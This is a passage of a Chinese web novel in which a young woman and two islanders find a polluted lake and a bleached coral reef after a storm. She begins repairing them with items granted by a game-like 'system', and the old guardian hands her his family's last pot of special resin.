清理工作持续了大半天。老卡尔清除了通往水源小径上最危险的悬枝,阿土收集了大量被海浪冲上岸的,相对完整的浮木和坚韧的绳索(未来建材和工具原料)。
苏甜修复了屋顶和藤墙,重新压实了被风吹得有些松散的优化沙地边缘。
夕阳西下,浑浊的海水被染上了一层疲惫的橘红。三人站在小屋前那片相对整洁的洁白沙地上(根网保护区域受损最轻),看着被基本修复的小屋和那片顽强挺立的薯田。
空气中弥漫着海腥,泥土和草木汁液混合的气息,劫后的岛屿呈现出一种奇异的,带着伤痕的宁静。
苏甜深深吸了一口气,那气息带着劫后余生的清冽和泥土的芬芳。
她看着身边沉默却如山可靠的老卡尔,看着眼中依旧燃烧着活力与希望的阿土。
又望向远处那片被浑浊海水覆盖,暂时无法窥探的珊瑚礁方向,缓缓开口,声音清晰而坚定。
“结束了。”
她顿了顿,目光扫过小屋、薯田、狼藉的沙滩和远方神秘的大海。
最终定格在逐渐沉入海平线的落日余晖上。
“新的开始。”
22. 第22章
灾后重建的第七个清晨,阳光终于刺破了连日阴霾,带着劫后余生的力度,泼洒在K7岛上。
小屋周围那片被根网守护的优化沙地,已基本恢复了整洁。
被扶正的薯苗挺直了腰杆,断裂的叶缘处抽出嫩绿的新芽,在晨光中舒展着生命的韧性。
藤蔓网格墙上的泥浆被擦洗大半,露出深绿的底色,破损处用新采集的藤条修补加固。
海草屋顶翻卷的边缘被彻底压实捆牢,只留下几道如同伤疤般的深色勒痕。
但这份来之不易的秩序感,仅限于小屋周围这片小小的绿洲。
放眼望去,岛屿大部分区域依旧被风暴的余威统治着。
倒伏的巨木横亘在通往雨林的小径上,腐烂的枝叶在湿热中蒸腾出酸败的气息。沙滩边缘堆积着厚厚的,散发着腥臭的海藻和海洋垃圾,浑浊的海浪有气无力地冲刷着,留下污浊的泡沫。
苏甜站在小屋门口,手里握着一枚被风暴打磨得温润的白色小贝壳。这是阿土今早在清理沙滩时捡到的,说是[新生礼物]。
她看着远处狼藉的沙滩和沉默的雨林,感受着掌心贝壳微凉的触感,以及体内系统界面那缓慢跳动的能量数字(灾后重建消耗不少,仅剩300点左右)。
重建基本完成,生存暂时无虞。但危机感并未消退,系统的能量需要补充,岛屿的发展需要更多资源,珊瑚礁的修复需要更多【修复液】。
这些都指向同一个方向。探索,解锁新的签到点。
她的目光投向雨林深处。岛屿内陆有一片不小的咸水湖,那是系统标注的另一个待解锁节点【咸水湖畔】。风暴前忙于生存,无暇顾及。现在,是时候了。
“去咸水湖。”苏甜的声音打破了清晨的宁静,带着不容置疑的决断。她看向正在用石斧修整一根浮木的老卡尔,和蹲在薯田边小心翼翼拔除杂草的阿土。
老卡尔停下手中的动作,布满风霜的脸转向雨林方向,眉头习惯性地蹙起,左眼的疤痕在晨光中更显深刻。
“路,不好走。”他言简意赅,但眼神里并无反对,只有对前路的评估。
阿土立刻跳了起来,眼睛发亮。
“咸水湖?我知道!爷爷说过,以前那里有好多水鸟,还有银闪闪的鱼!”少年人的语气里充满了对未知的兴奋和对爷爷口中[曾经]的向往。
苏甜“那你可能要失望了,我之前去过一回,你要做好心理准备。”
没有过多准备,三人带上最基础的装备。老卡尔的硬木手斧,阿土的鱼叉,苏甜的匕首和淡水过滤器,以及几个用棕榈叶包裹的烤薯块当干粮,便踏上了深入雨林的路。
风暴对雨林的摧残触目惊心。原本浓密得几乎不透光的林冠层被撕开了巨大的缺口,阳光如同破碎的金子,斑驳地洒落在泥泞的地面上。
低矮的蕨类和灌木被成片压倒,浸泡在浑浊的积水里,散发出植物腐败的酸馊味。粗壮的藤蔓或被扯断,无力地垂落,或缠绕着倒伏的树干,如同巨蟒的绞杀。
空气中弥漫着浓烈的,混合着湿泥,朽木和某种隐约腥气的复杂味道。
老卡尔走在最前,如同一台沉默的推土机。他的手斧精准地劈开挡路的细小枝桠,或是巧妙地利用杠杆原理,将横亘在路上的,小腿粗细的断木撬开,挪移。
他的脚步沉稳,对雨林的地形仿佛刻在骨子里,总能找到相对坚实的落脚点,避开那些被落叶和积水掩盖的泥坑。
阿土紧随其后,身体灵活得像只猴子,在倾倒的树干和杂乱的枝杈间跳跃穿梭,不时停下来,用鱼叉挑起一段相对坚韧的藤蔓或捡起一块形状奇特的浮木。
“苏姐!这个做挂钩肯定结实!”
他的兴奋劲儿,在深入雨林后渐渐被一种肃穆取代,看着那些被风暴撕裂的百年古树,眼神里流露出少年人少见的沉重。
苏甜走在最后,小心地避开泥泞和带刺的植物。她的感官被充分调动,警惕着可能潜藏的危险(毒虫、蛇类),同时也在仔细观察着这片被风暴蹂躏后的雨林。
她注意到,在一些被连根拔起的大树根部,裸露出深褐色的,明显不同于周围沙质的黏土。越往深处走,脚下的泥土也越发潮湿,粘腻,空气中那股隐约的腥气也越来越浓。
穿过一片被狂风吹得七零八落的棕榈林,前方豁然开朗。然而,映入眼帘的景象,并非阿土口中水鸟翩跹,波光粼粼的美丽湖泊,而是一幅令人窒息的,充满死亡气息的画面。
一片巨大的,死气沉沉的水域横陈在眼前。这就是咸水湖。
湖水是令人作呕的,粘稠的墨绿色,如同熬煮过头,腐败变质的浓汤。
水面几乎完全被一层厚厚的,油腻的绿色浮萍和水藻覆盖,其间夹杂着大片灰白色的,絮状的腐烂物。
在这些令人恶心的覆盖物之间,密密麻麻地漂浮着无数翻着白肚的死鱼!
大的有手臂长,小的只有指节大小,无一例外地腹部肿胀,眼球凸出浑浊,散发着浓烈的,令人头晕目眩的腐臭气息!
靠近岸边的浅水区,湖水呈现出一种诡异的,如同油漆般的浑浊,水底沉积着厚厚的黑色淤泥。
几丛稀疏的芦苇从淤泥中钻出。但秆叶枯黄瘦弱,顶端挂着几穗干瘪发黑的穗子,无精打采地垂着,如同溺水者伸向天空求救的枯手。
湖岸四周,是光秃秃的,被污水长期浸泡而板结发黑的泥滩,寸草不生。只有零星的,耐污的杂草在泥缝里病恹恹地生长。
浓烈的,如同化粪池混合着死鱼堆的恶臭,随着湖面蒸腾的湿热空气,如同无形的,粘稠的巨手,猛地扼住了三人的喉咙!阿土猝不及防,被熏得干呕起来,眼泪瞬间涌出。
老卡尔的脸色也瞬间变得极其难看,眉头锁得更紧,眼神锐利地扫视着这片死域。无数的蚊蝇在湖面上空形成低沉的,令人头皮发麻的黑色云团,嗡嗡声不绝于耳。
死寂。除了蚊蝇的嗡嗡和偶尔气泡从腐败物中破裂的“啵”声,没有任何生命的迹象。
没有水鸟,没有蛙鸣,甚至没有风吹过芦苇的沙沙声。只有一片被彻底污染,吞噬了所有生机的,散发着绝望气息的墨绿死水。
苏甜强忍着胃部的翻腾和喉咙的灼烧感,屏住呼吸,向前走了几步,来到泥泞的湖边。她蹲下身,伸出指尖,小心翼翼地触碰了一下那墨绿色的湖水。
指尖传来的触感冰冷而粘腻,如同触碰到了某种腐败生物的粘液。收回手指,指尖沾上了一层滑腻的,散发着恶臭的墨绿色藻膜。
就在她指尖触碰湖水的瞬间,脑海中的系统界面自动弹出,淡蓝色的棕榈叶边框在死寂的湖景映衬下显得格外清晰。界面中央,代表【咸水湖畔】的节点图标剧烈闪烁着红光,旁边一行刺目的状态标注清晰浮现。
【咸水湖畔(状态:重度污染/富营养化/死寂)】
水体溶解氧极低,有机污染物严重超标,有害藻类(蓝藻、裸藻)爆发性增殖,底泥富营养化沉积深厚。生态系统崩溃,丧失自净能力。(可再次签到)
“签到。”苏甜没有任何犹豫,意念集中在那闪烁的节点上。
【叮!签到成功!咸水湖畔(重度污染/富营养化/死寂)!】
【获得:生态能量x100】
【获得:高效净水微生物群落(基础型)x1份】
【获得:速生芦苇种x1包】
系统提示音,在死寂的湖边显得格外清脆。同时,苏甜感到手中一沉。低头看去,一个巴掌大小,密封的透明玻璃试管出现在她手中。
试管内是浑浊的灰褐色液体,无数极其微小的,活跃的絮状物在其中翻滚,沉浮,仿佛拥有自己的生命。
试管标签上印着简单的说明【高效净水微生物群落(基础型)复合菌群(硝化
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菌、反硝化菌、有机物分解菌等),可有效分解水体有机污染物,抑制有害藻类,初步改善水质。需持续投放并配合物理/生态修复手段。】。
另一只手里则多了一个用干枯芦苇叶编织的小袋。沉甸甸的,里面是饱满的,带着细绒毛的褐色芦苇种子。【速生芦苇种】。
微生物,芦苇。苏甜紧紧握住手中的试管和种子袋,如同握住了开启这片死亡之湖的钥匙。
虽然只是[基础型],虽然前路漫长,但希望的火种,已经在恶臭的泥沼中点燃。
“呕。”阿土终于忍不住,扶着旁边一棵枯树剧烈地干呕起来。他抬起头,脸色苍白,眼睛里布满了红血丝,不是因为恶心,而是因为一种被欺骗的愤怒和悲伤。
他指着那片散发着死亡气息的墨绿色湖水,声音因为激动而嘶哑颤抖。
“爷爷说过!以前不是这样的!以前这里有白鹭,有野鸭,水是清亮亮的,能看见底下的水草和小鱼!夏天晚上,萤火虫像星星一样多!”
少年的胸膛剧烈起伏,他猛地一脚踢飞脚边一块沾满污泥的石头,石头砸进粘稠的湖水里,只溅起一小朵污浊的水花,发出沉闷的“噗通”声。
“都是那些坏人弄的!那些开着大机器,把树砍光,把脏水排进来的坏人!”
阿土的声音带着哭腔,充满了对破坏者最纯粹的,不加掩饰的恨意。他口中的[坏人],显然指向了岛屿的前期开发者,指向了苏家。
老卡尔沉默地走到阿土身边,布满老茧的大手用力按在孙子的肩膀上。他没有看阿土,只是用那双锐利如鹰隼的眼睛,死死盯着那片死寂的墨绿色水域,眼神复杂而沉痛。
那眼神里,有对往昔的追忆,有对破坏的愤怒,更有一种守护者面对疮痍家园的无言悲怆。这片湖的死亡,是岛屿被掠夺,被伤害的最直接,最刺目的伤疤。
苏甜看着愤怒悲伤的阿土,看着沉默如山却难掩痛心的老卡尔,又低头看了看手中那管翻滚着生命希望的灰褐色微生物群落和那袋饱满的芦苇种子。
一种沉重的使命感压在了她的肩头。修复这里,不仅仅是为了能量和资源,更是为了赎罪(哪怕是替家族赎罪),为了抚平这片土地和守护者心头的伤痕。
“会好起来的。”苏甜的声音不高,却异常清晰,穿透了蚊蝇的嗡嗡和死水的沉寂。
她走到湖边,蹲下身,小心翼翼地拧开那管【高效净水微生物群落(基础型)】的密封盖。
一股难以形容的,混合着土腥和微酸的气息逸散出来,并不好闻,却奇异地冲淡了一丝湖水的腐臭。试管内,灰褐色的絮状物翻滚得更加活跃。
苏甜屏住呼吸,将试管微微倾斜。粘稠的,饱含着亿万微小生命的灰褐色液体,缓缓流入那墨绿色的,死寂的湖水中。
没有惊天动地的变化。灰褐色的液体迅速被粘稠的墨绿吞噬,稀释,消失无踪。湖面依旧死寂,腐臭依旧弥漫。
但苏甜知道,一场静默的战争,已经在肉眼看不见的微观世界里打响。这些渺小的斗士,将是她向这片死亡之湖宣战的第一批先锋。
就在她凝神注视着微生物消失的水面时,在湖边泥滩上发泄般踢踩着污泥的阿土,突然发出一声疑惑的轻咦。
“咦?这什么玩意儿?硌脚!”
他弯腰,赤手在粘稠乌黑的淤泥里一阵摸索,然后猛地用力一拔!
哗啦!
伴随着污泥滑落的声响,一块巴掌大小,边缘扭曲变形,沾满黑泥的东西被他从淤泥深处拽了出来!
阿土在旁边的积水坑里胡乱涮了涮,抹去表面的污泥。一块锈迹斑斑,边缘卷曲的金属牌显露出来。
虽然被腐蚀得厉害,但牌面上,一个模糊却依旧能辨认的,线条锐利的徽记。
在昏沉的天光下,反射出冰冷而讽刺的光泽。
那是苏家的家族徽记。
23. 第23章
咸水湖的腐臭气息,还顽固地粘在鼻腔深处,如同一个挥之不去的噩梦。
苏甜坐在小屋门前那片被根网守护的洁白沙地上,指尖无意识地摩挲着那块锈迹斑斑,刻着苏家的金属牌。
冰冷的铁锈触感和湖底淤泥的腥气交织,沉甸甸地压在心头。
系统界面里,那管【高效净水微生物群落】如同沉睡的种子,静静躺在物品栏,而【咸水湖畔】节点灰暗下去,显示着【生态修复中(0.1%)】的微小进度条。
能量依然吃紧(仅剩400点),珊瑚礁的修复液更是遥不可及。一种无形的焦灼感,像藤蔓般悄然缠绕。
“苏姐!”阿土的声音带着少年人特有的清亮活力,打破了沉闷。
他像一阵风似的从海边跑来,赤脚在洁白的沙地上留下一串湿漉漉的脚印,手里还拎着两条银光闪闪,尾巴还在微微甩动的海鱼。
他脸上洋溢着兴奋的红晕,眼睛亮晶晶的,之前的愤怒和悲伤似乎被海风吹散了不少。
“看!刚抓的!新鲜着呢!”阿土献宝似的举起鱼,随即压低声音,带着一种分享秘密的雀跃。
“苏姐,下午退大潮!水下能见度肯定好!我带你去个地方!我小时候的[秘密花园]!保证比那臭湖强一万倍!”
他眨眨眼,语气里充满了不容置疑的自信和期待。
“秘密花园?”苏甜抬头,看着阿土被阳光晒得黝黑发亮的脸庞和那双清澈见底,充满希冀的眼睛。
少年人的热情如同一股清泉,暂时冲淡了她心头的阴霾。
“嗯!”阿土用力点头,指向岛屿东侧一片被黑色礁石环绕的海湾。
“那边!水下可漂亮了!有红的,蓝的,像树枝又像花的石头,还有好多彩色的小鱼,以前我能在里面玩一整天!”
他的描述带着孩子气的夸张,但那份纯粹的喜爱和怀念是真实的。
苏甜心中一动。岛屿东侧礁石区,珊瑚礁!系统地图上,那个一直处于灰色锁定状态的【珊瑚礁B区】节点瞬间亮起!
前世模糊的记忆碎片也浮现出来。家族报告里提及的[具有旅游潜力的珊瑚区],因前期开发破坏和后续疏于管理而退化。
她看向老卡尔。老人正沉默地用石斧修整着一块浮木,闻言抬起头,目光投向阿土指的方向,又落在苏甜脸上。
他没有说话,只是几不可察地点了下头,算是默许。那眼神里,似乎有一丝复杂的追忆,也有一丝不易察觉的忧虑。
午后的阳光炽烈,海风带着咸腥的暖意。当潮水退到最低点,露出大片湿漉漉,布满藤壶和海藻的黑色礁石时,三人来到了阿土口中的[秘密花园]。
阿土显得格外兴奋,他三两下甩掉破旧的短裤,露出精瘦黝黑的上身,只穿着一条自制的鱼皮短裤,赤脚踩在光滑的礁石上。
“苏姐!卡尔爷爷!看我的!”他深吸一口气,如同一条回归大海的飞鱼,以一个流畅而优美的弧度,猛地扎入清澈的海水之中!溅起的水花在阳光下折射出七彩的光芒。
苏甜和老卡尔走到礁石边缘。海水清澈得惊人,阳光直射海底,将水下世界毫无保留地展现在眼前。
然而,期待中的斑斓【花园】并未出现。
视野所及,是一片触目惊心的,如同巨大坟场般的惨白!
曾经应该色彩绚丽的珊瑚礁盘,此刻覆盖着一层令人心悸的死寂灰白。
那些本该枝桠舒展,如同海底森林的鹿角珊瑚,只剩下光秃秃的,惨白如枯骨的嶙峋枝干,扭曲地指向水面。
巨大的脑状珊瑚失去了饱满的肉质和瑰丽的色彩,表面干瘪褶皱,覆盖着厚厚的,如同柏油般粘稠污浊的藻类,呈现出一种病态的墨绿色或深褐色。
只有零星几处低矮的硬珊瑚,还残留着些许黯淡的棕黄或灰绿色,如同坟茔上最后的荒草。
曾经穿梭其间的鱼群消失无踪,只有几条灰扑扑,毫不起眼的小鱼在惨白的珊瑚骨架间有气无力地游弋,显得异常渺小和孤寂。
海水很静,静得能听到水流抚过珊瑚残骸的呜咽。阳光穿透水面,照亮了这水下坟场每一个惨白的细节,非但没有带来生机,反而更添一种令人窒息的,冰冷的死寂。
这哪里是花园?分明是珊瑚的乱葬岗!
阿土的身影在惨白的珊瑚骨架间灵活地穿梭。他浮出水面,抹了一把脸上的水珠,兴奋的笑容早已凝固在脸上,取而代之的是一种难以置信的,巨大的茫然和悲伤。
他呆呆地看着这片死寂的水域,嘴唇微微颤抖,想说什么,却一个字也发不出来。
他猛地吸了一口气,再次扎入水中,像疯了一样在那些惨白的珊瑚丛中游动,寻找,仿佛不相信自己记忆中的乐园会变成这样。
苏甜的心像是被一只冰冷的手紧紧攥住,沉甸甸地下坠。她蹲下身,指尖无意识地划过被海水浸润的礁石边缘。前世溺毙时的冰冷窒息感,与眼前这片珊瑚白化地狱的景象诡异地重叠。
豪华游轮下冰冷刺骨的黑暗,柳薇薇推搡时扭曲的笑脸,周屿辰冷漠的侧影,还有那份被她无意瞥见的,标注着【K7岛珊瑚区开发价值评估(待废弃)】的家族文件。
所有的线索瞬间串联!这不仅仅是自然的衰退,这是赤裸裸的掠夺与遗弃!是苏家贪婪之下的又一道深深伤疤!
一股混杂着彻骨寒意和焚心怒火的情绪,猛地冲上头顶!对破坏者的恨意从未如此清晰,对守护这片海洋的决心也从未如此坚定!
这惨白的珊瑚坟场,是控诉,更是战书!
她不再犹豫,意念瞬间锁定系统地图上那个代表着【珊瑚礁B区】、正剧烈闪烁的红色节点!
“签到!”
【叮!签到成功!珊瑚礁B区(状态:严重白化/濒死)!】
【获得:生态能量x150(节点价值较高)】
【获得:初级珊瑚共生修复液x3份】
【获得:简易浮潜面罩蓝图(核心材料:共生粘合胶)】
提示音落下的瞬间,苏甜感到腰间的防水小皮囊(由岩恩用坚韧鱼皮缝制)微微一沉。
她立刻解开皮囊,里面赫然多了三支细长的,如同水晶般剔透的玻璃试管!
试管内盛满了粘稠的,散发着柔和生命绿光的液体!那绿色如此纯粹,如此深邃,如同浓缩了最精华的森林与海洋的生命力!
液体中悬浮着无数极其微小的,闪烁着珍珠光泽的莹绿色光点,如同活着的星辰在缓缓流转,沉浮。
仅仅是握在手中,就能感受到一股温润而充满生机的气息透过玻璃管传来,驱散了指尖的冰冷。
【初级珊瑚共生修复液】蕴含特殊能量场及高活性共生藻孢子。
可有效清除附着于珊瑚虫体的有害藻类及污垢,刺激珊瑚虫体活性,促进共生藻(虫黄藻)回归附着与增殖,加速受损珊瑚组织修复。
效果范围,半径1米(单次投放)。需精准作用于珊瑚虫体表面。(珍贵资源)
皮囊里还有一张卷起的,触感柔韧的深蓝色皮革(疑似某种鱼皮鞣制)。
展开后,上面用发光的银色线条勾勒出一个结构精巧,贴合面部的面罩设计图,旁边标注着各种复杂的节点和材料要求。
核心材料一栏赫然写着【共生粘合胶。具有水下超强粘附性,生物相容性及柔韧度,确保面罩密封及舒适。需深海特定螺类腺体分泌物或经特殊古法处理的千年古树树脂(详见附录)】。
修复液!蓝图!还有核心材料那苛刻的要求!
苏甜紧紧握住那三支散发着温润绿光的试管,如同握住了开启这片死亡海域的钥匙,也握住了沉重的责任。修复的希望就在掌心,但前路布满荆棘。
“苏姐?”阿土不知何时游回了礁石边,双手扒着粗糙的礁石,仰着头,脸上混杂着水珠和难以言喻的悲伤。
他看着苏甜手中的试管和图纸,眼神里充满了困惑和一丝小心翼翼
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的期待。
“这是什么?能救它们吗?”
他的声音带着水汽的湿润和少年人的颤抖,目光紧紧锁住那散发着柔和绿光的试管,仿佛那是溺水者唯一的浮木。
苏甜看着阿土那双被悲伤和希冀浸透的眼睛,又低头看了看手中这三支如同浓缩了海洋生命精华的修复液。
她没有说话,只是用力地点了点头。她将图纸小心卷好塞回皮囊,然后拿起一支修复液试管,拧开那特殊材质的密封盖。
一股清新无比,带着海洋深处气息的,如同雨后森林混合着海风的味道瞬间弥漫开来,奇异地驱散了周围海水的咸腥和珊瑚死亡带来的沉闷气息。
试管内,那粘稠的碧绿液体中,无数珍珠般的莹绿光点仿佛受到了感召,旋转流动得更加活跃,散发出更强烈的柔和绿光。
苏甜俯下身,目光锁定在礁石边缘一株只有巴掌大小,但形态相对完整(只是颜色惨白、覆盖薄藻)的鹿角珊瑚残骸上。
她小心翼翼地将试管口倾斜,让那粘稠的,散发着生命绿光的液体,如同最温柔的甘霖,缓缓滴落在珊瑚惨白的枝干顶端。
碧绿的液体与惨白的珊瑚接触的瞬间!
嗤。
一声极其细微,如同冰雪消融般的声音响起。
珊瑚枝干表面那层薄薄的,污浊的藻类覆盖物,如同遇到了克星,以肉眼可见的速度迅速消融,褪去!露出了下面更加惨白,但相对干净的珊瑚骨骼。
紧接着,奇迹发生了!
那碧绿的液体并没有流走,而是如同有生命般,迅速在珊瑚枝干表面均匀地铺展开来,形成一层极薄的,散发着柔和莹绿光芒的液膜!
液膜之中,那些珍珠般的莹绿光点如同找到了归宿,纷纷附着在珊瑚骨骼表面,然后缓缓地,如同呼吸般,渗入了骨骼的微小孔隙之中!
没有惊天动地的变化,珊瑚依旧惨白。但苏甜和阿土都屏住了呼吸,紧紧盯着那被莹绿液膜包裹的小小珊瑚。
一秒,两秒。
在两人几乎要以为毫无变化时,那惨白的珊瑚骨骼表面,靠近顶端的一个极其微小的,肉眼几乎难以察觉的珊瑚虫杯口(珊瑚虫居住的钙质小孔)边缘。
极其极其微弱地闪过了一丝几乎可以忽略不计的,极其黯淡的褐色微光!
如同风中残烛最后一丝火星的跳动!微弱,短暂,却真实存在!
阿土猛地瞪大了眼睛,嘴巴张得能塞进一个鸡蛋,手指死死抠住了礁石边缘!
苏甜的心脏也如同被那微光狠狠撞了一下!有效!修复液真的有效!
虽然效果微弱得如同幻觉,但这意味着希望!意味着这片死寂的珊瑚坟场,并非完全不可逆转!
她小心翼翼地盖上试管盖,将这支已经用掉约三分之一的珍贵修复液收回皮囊。还有两支半。杯水车薪,但星星之火,可以燎原。
就在她准备起身和老卡尔商议下一步时,一直扒在礁石边缘,目不转睛盯着那株被修复液覆盖的珊瑚的阿土,突然发出一声压抑的惊呼。
“苏姐!快看!那石头缝里!”
他指向那株小珊瑚旁边不远处,一块被海藻半掩盖的礁石缝隙深处。
苏甜顺着他的手指望去。
在礁石阴影和漂浮藻类的遮蔽下,在那惨白珊瑚骨架的根部附近,一团极其微小,只有指甲盖大小的,半透明的胶状物正微微附着在礁石上!
那胶状物呈淡淡的橘黄色,里面隐约包裹着十几个更微小的,米粒大小的深色圆点!
更令人心跳加速的是,在这团胶状物旁边,一条只有手指长短,身体两侧有着鲜明橘黑条纹的小鱼。
正焦躁不安地,极其快速地围绕着它游动,小小的鱼鳍高频扇动,充满了守护的意味!
是鱼卵!而且看那守护亲鱼的特征,是小丑鱼的卵!
在这片白化的死亡之海里,在这惨淡的珊瑚坟场边缘,竟然还顽强地孕育着新的生命!
24. 第24章
废弃灯塔的底层,时间仿佛凝固在铁锈与海盐的牢笼里。
浑浊的光线从高处窄小的透气孔费力地挤进来,切割着弥漫的灰尘。
空气沉闷,带着浓重的潮湿霉味,铁锈的腥气,还有一种陈年油脂腐败后的哈喇味。
角落里堆满了无法辨认的,被盐分腐蚀得只剩骨架的机械残骸和朽烂的渔网碎片。这里是被风暴和时间遗忘的角落。
苏甜握着那张鱼皮蓝图,指尖无意识地摩挲着【共生粘合胶】那一栏刺目的说明文字,目光却穿透昏暗,落在礁石缝隙里那团微微颤动的橘黄色鱼卵上。
守护在旁的亲鱼焦躁摆尾的画面,与眼前这片惨白死寂的珊瑚坟场重叠,形成巨大的割裂感。
修复液给了微弱的希望,但若没有面罩,无法长时间安全地在白化的危险礁盘间精准操作,再多的修复液也是杯水车薪。
“卡尔先生。”苏甜的声音在空旷腐朽的灯塔底层响起,打破了令人窒息的沉寂。
她走到正在用一块油石沉默打磨硬木的老卡尔身边,将那张蓝图轻轻摊开在他面前布满老茧和木屑的手边。
摇曳的光线下,【共生粘合胶。深海螺腺或特殊古法树脂】的字样异常清晰。
“蓝图需要一种特殊的胶”苏甜开门见山,语气带着不容回避的凝重。
“深海螺类,我们无处可寻。剩下的只有[特殊古法树脂]。”她的目光紧紧锁住老卡尔古铜色的侧脸,捕捉着他每一丝细微的表情变化。
“没有它,面罩无法密封,浮潜就是空谈,珊瑚。”她顿了顿,声音低沉下去。
“礁石缝里那窝小丑鱼的卵,等不到它们的珊瑚花园。”
老卡尔打磨木块的动作没有丝毫停顿,油石摩擦木头的“沙沙”声在寂静中格外刺耳。
他布满皱纹的脸上没有任何表情,只有左眼那道疤痕在昏暗光线下显得更加深刻,如同刻进骨子里的沉默。
他没有看蓝图,浑浊却锐利的目光投向灯塔深处更浓重的黑暗,仿佛在凝视着某个遥远而沉重的记忆。
苏甜没有催促。她从腰间解下那个坚韧的鱼皮小囊,小心翼翼地取出仅剩的两支半【初级珊瑚共生修复液】。
当那三支水晶试管暴露在昏暗光线下时,柔和而深邃的碧绿光芒,瞬间在布满灰尘和铁锈的空间里弥漫开来!
如同最纯净的森林之心与海洋之魄凝聚的精华,带着蓬勃的生命气息,顽强地驱散着周围的腐朽与死寂!
试管内,粘稠的碧绿液体中,亿万珍珠般的莹绿光点如同活着的星辰,在缓缓流转,沉浮,散发出温润而强大的生机。
这光芒照亮了苏甜坚定的眼眸,也映亮了老卡尔微微收缩的瞳孔。
苏甜将试管托在掌心,递到老卡尔低垂的视线下方,声音不高,却带着穿透灵魂的力量。
“我知道这很难,但这是唯一的希望。为了那些还没孵化的鱼卵,为了阿土记忆里那个有彩色石头和鱼群的[花园],为了这座岛的海,还能重新活过来。我需要您的帮助,卡尔先生。”
灯塔底层死一般的寂静,只有灰尘在碧绿光芒中无声飞舞。
老卡尔的目光终于从那充满魔力的碧绿光晕上移开,缓缓抬起。第一次,如此直接,如此深入地,对上了苏甜的眼睛。那双浑浊的眼睛里,翻涌着极其复杂的光芒。
有对往昔的沉重追忆,有对技艺的绝对守护,有对现实残酷的清醒认知,更有一种被眼前这碧绿光芒和少女眼中那份近乎偏执的守护信念所撼动的波澜。
时间在碧绿光芒与腐朽铁锈的对峙中缓缓流淌,每一秒都像一个世纪般漫长。
终于,老卡尔喉咙里发出一声极其低沉的、如同老旧风箱般的叹息。他放下了手中的油石和木块,布满老茧的双手在破旧的裤子上用力擦了擦,仿佛要擦去什么无形的重负。
他没有再看苏甜,也没有看那散发着生命光芒的修复液,而是沉默地转过身,佝偻着背,步履沉重地走向灯塔底层最深处,那片被巨大废弃齿轮和朽木彻底遮蔽的、最浓重的黑暗角落。
苏甜屏住呼吸,心脏在胸腔里擂鼓般跳动。她握紧了手中的修复液试管,碧绿的光芒在她掌心微微颤抖。
只见老卡尔在那堆如同巨兽骸骨般的障碍物前停下。他伸出粗糙的大手,在布满盐渍和苔藓的冰冷砖墙上摸索着。
他的动作异常缓慢,带着一种近乎虔诚的庄重。指尖拂过一块块凸起的砖石,最终停在一块看似与周围毫无二致的墙砖上。
他深吸一口气,布满皱纹的额头青筋微微贲起,五指猛地发力!那块沉重的墙砖,竟然被他硬生生从墙体中抠了出来!
露出后面一个黑洞洞的,仅容一臂深入的壁龛!一股极其奇异的,温暖而复杂的香气,瞬间从那黑暗的壁龛中逸散出来!
那香气如同盛夏阳光炙烤下的松林深处,混合着蜂巢的甜蜜,陈年蜜蜡的醇厚,以及某种难以言喻的,大地深处的深沉芬芳!
这股温暖的,带着生命质感的香气,如同无形的暖流,瞬间冲淡了灯塔底层的腐朽与冰冷,甚至将那碧绿修复液带来的海洋气息都温柔地包裹,融合!
老卡尔的手从壁龛中缓缓收回。他的手上,稳稳地托着一个物件。
那是一个比拳头略大的陶罐。罐体呈现出最质朴的深褐色,没有任何纹饰,表面布满手工拉坯留下的细微旋纹和岁月摩挲出的温润包浆。
罐口用一层厚厚的,颜色深沉近乎黑色的蜂蜡严密地封着,蜂蜡上还清晰地印着一个古老而神秘的螺旋纹印记。
这陶罐本身平平无奇,但当它被老卡尔托在手中时,一种难以言喻的,沉甸甸的历史感和生命力扑面而来!仿佛托着的不是一件器物,而是一段凝固的时光,一份沉重的传承。
老卡尔托着陶罐,一步一步,极其缓慢地走回苏甜面前。昏黄的光线和碧绿的修复液光芒交织,落在他沟壑纵横的,异常严肃的脸上,也落在那深褐色的陶罐上。
他没有立刻交给苏甜,而是用布满老茧的拇指,带着一种近乎温柔的力道,缓缓拂过那层封口的,印着螺旋纹的黑色蜂蜡。他的眼神深邃而复杂,仿佛穿透了陶罐,看到了遥远的过去。
“老灯塔的眼泪。”老卡尔的声音沙哑低沉,如同砂纸摩擦着锈蚀的铁皮,每一个字都带着岁月的重量。
他抬起头,目光如同实质般落在苏甜脸上,也落在她手中那散发着碧绿光芒的修复液试管上。
“我爷爷的爷爷,守着岛上的[太阳树]。一种只长在火山岩缝里的老树,百年才流一次胶。采胶要在月圆潮汐夜,用玉刀划开树皮,接下第一滴[泪]。”
他顿了顿,似乎在回忆那早已逝去的仪式。
“采下的生胶,混入岛蜂的初巢蜡,在灯塔最顶层的铜锅里,用晒足三年海盐的紫藤根当柴,熬上七天七夜。熬掉杂质,熬出灵性,熬成。”
他轻轻掂了掂手中的陶罐,罐内传来粘稠液体缓慢流动的,如同岩浆涌动般的低沉声响。
“熬成能在海底粘合礁石,千年不腐的[泪]。”
老卡尔的目光变得无比锐利,直刺苏甜眼底。
“这罐里的[泪],是最后一点。只够做三张脸(指三个面罩)。”他的声音斩钉截铁,没有任何讨价还价的余地。
“用完了,就没了。除非阿土能等到下一棵[太阳树]流泪。”
说完,他不再犹豫,将那承载着家族数代守护,承载着岛屿最后一点古老灵性的深褐色陶罐,郑重地递到了苏甜的面前。
“为了珊瑚。”老卡尔的声音低沉而有力,目光扫过苏甜手中碧绿的修复液,又仿佛穿透灯塔厚重的墙壁,看到了外面那片惨白的礁盘和那窝脆弱的鱼卵。
“为了阿土以后,还能看到鱼。”
没有慷慨激昂的誓言,没有歃血为盟的仪式。只有这沉甸甸的陶罐,一句朴实无华的承诺,和一个老人为家园未来做出的,割舍了最珍贵传承的决定。
这一刻,老卡尔不再是那个沉默疏离,只提供有限生存帮助的守护者。他将自己,连同家族最后的秘密
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与希望,彻底绑上了苏甜修复海洋的战车。
他是真正的生态修复同盟!
苏甜伸出双手,无比郑重地接过了那个深褐色的陶罐。罐体入手微凉,却沉得惊人,仿佛托着一段凝固的历史和一座山的承诺。
那温暖奇异的香气透过蜂蜡封口,丝丝缕缕钻入鼻腔,与修复液的碧绿海洋气息奇异地交融,在她心中点燃了一簇更炽热的火焰。
“谢谢您,卡尔先生。”苏甜的声音带着一丝不易察觉的颤抖,眼神却前所未有的坚定。
“这[眼泪],绝不会白流。”
老卡尔点了点头,没有再说话。
